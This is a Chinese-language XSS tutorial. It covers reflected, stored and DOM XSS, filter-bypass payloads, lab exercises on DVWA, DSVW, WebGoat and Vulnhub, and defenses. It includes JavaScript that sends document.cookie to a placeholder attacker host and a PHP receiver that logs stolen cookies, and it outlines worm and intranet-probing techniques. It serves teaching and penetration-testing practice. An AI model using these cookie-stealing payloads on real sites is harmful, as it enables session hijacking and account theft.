[红日安全]Web安全Day2 - XSS跨站实战攻防
字数 2140 2025-08-26 22:12:02
XSS跨站脚本攻击实战攻防指南
1. XSS漏洞概述
1.1 漏洞简介
跨站脚本攻击(XSS)是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时控制用户浏览器进行操作的攻击方式。当服务端将用户输入的内容直接输出到页面上时,如果输入的是经过构造的JavaScript代码,就会在用户浏览器端执行。
1.2 XSS漏洞原理
1.2.1 反射型XSS
- 非持久型攻击
- 常见于URL参数构造
- 通过发送恶意链接给目标用户触发
- 主要利用GET请求提交恶意代码
1.2.2 存储型XSS
- 持久型攻击
- 常见于博客留言板、论坛评论等
- 恶意代码存储在服务器数据库中
- 每次访问包含该内容的页面都会触发
1.2.3 DOM型XSS
- 特殊的反射型XSS
- 通过JavaScript操作DOM动态修改页面内容
- 不依赖服务器响应
- 示例攻击代码:
<script>var img=document.createElement("img");
img.src="http://xxxx/a?"+escape(document.cookie);</script>
1.3 XSS危害
1.3.1 盗取管理员cookie
获取管理员会话凭证,进而控制后台
1.3.2 XSS蠕虫攻击
- 几何级数传播恶意代码
- 通常配合CSRF使用
- 可快速获取大量用户权限
1.4 常用XSS语句
<script>alert(/xss/);</script>
<BODY ONLOAD=alert('XSS')>
<svg onload=alert(1)>
<a href = javasript:alert(1)>
1.5 XSS漏洞绕过技术
1.5.1 JS编码
- 八进制编码:\xxx
- 十六进制编码:\xXX
- Unicode编码:\uXXXX
1.5.2 HTML实体编码
- 以&开头;结尾
- 如:<script>
1.5.3 URL编码
- %编码形式
- 如:%27表示单引号
1.6 XSS防御措施
- 过滤输入数据中的特殊字符:' " < > on* 等
- 输出数据时进行编码转换
- HTML实体编码
- JavaScript编码
- 使用Content Security Policy (CSP)
- 设置HttpOnly标志的cookie
2. 测试方法
2.1 手工测试
2.1.1 DVWA测试
Low级别测试:
- DOM型:
</option></select> - 反射型:
<script>alert(document.cookie)</script> - 存储型:直接注入脚本标签
Medium级别测试:
- DOM型:同Low级别
- 反射型:使用双写绕过
<sc<script>ript>alert(document.cookie)</script> - 存储型:在name字段使用双写绕过
High级别测试:
- DOM型:
English##<script>alert(document.cookie)</script> - 反射型:使用非script标签``
- 存储型:在name字段使用非script方式注入
2.1.2 DSVW测试
- 反射型:
<script>alert(/xss/)</script> - 存储型:通过comment参数注入
- DOM型:
?##lang=<script>alert(/xss/)</script> - JSON型:直接使用alert函数不需script标签
2.2 工具测试
2.2.1 BruteXSS
- Python编写的XSS扫描器
- 可自动化检测XSS漏洞
- 需注意目标站点的cookie验证机制
2.2.2 XSSer
- Kali Linux自带工具
- 支持多种XSS攻击向量
- 可进行深度扫描和漏洞利用
2.3 XSS平台搭建
2.3.1 BlueLotus_XSSReceiver
- 功能全面的XSS平台
- 支持cookie窃取、内网探测等
- 部署要求:
- Apache/PHP环境
- 文件写入权限
2.3.2 简易XSS平台
- 接收端PHP代码:
<?php
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n";
$myfile = fopen("xss_victim.txt", "a");
fwrite($myfile, $victim);
?>
- 恶意JS代码:
var img = document.createElement("img");
img.src = "http://xxx/x.php?cookie="+document.cookie;
document.body.appendChild(img);
2.4 WebGoat测试
- Java编写的Web安全学习平台
- 包含多种XSS挑战:
- DOM型XSS:利用URL片段标识符
- 存储型XSS:通过留言板注入
- 基于JSON的XSS
3. 实战演练
3.1 Vulnhub靶场
- 靶场:pentesterlab/xss_and_mysql_file_i386
- 漏洞利用流程:
- 在留言板注入XSS代码
- 管理员查看留言触发XSS
- 窃取管理员cookie
- 冒充管理员登录
3.2 WordPress XSS漏洞
- 影响版本:4.1以下
- 漏洞原理:MySQL的UTF8截断特性
- 利用方式:
- 提交两个部分恶意评论
- 前端拼接形成完整XSS向量
- 修复方法:
- 开启MySQL严格模式
- 输入输出过滤
4. 高级利用技巧
4.1 XSS蠕虫构造
- 结合CSRF实现自动传播
- 利用AJAX技术窃取数据
- 社交工程增强传播效果
4.2 内网探测
- 通过XSS获取内网IP
- 利用WebRTC探测内网拓扑
- 结合XMLHttpRequest扫描内网服务
4.3 权限提升
- 窃取高权限用户会话
- 结合其他漏洞实现RCE
- 持久化控制手段
5. 防御建议
-
输入验证和过滤:
- 白名单验证用户输入
- 过滤特殊字符和脚本标签
-
输出编码:
- 根据上下文采用适当编码
- HTML实体编码
- JavaScript编码
- URL编码
-
安全HTTP头设置:
- Content-Security-Policy
- X-XSS-Protection
- HttpOnly和Secure Cookie标志
-
框架安全特性:
- 使用现代框架的XSS防护机制
- 避免直接DOM操作
-
安全开发实践:
- 安全编码培训
- 代码审计
- 自动化漏洞扫描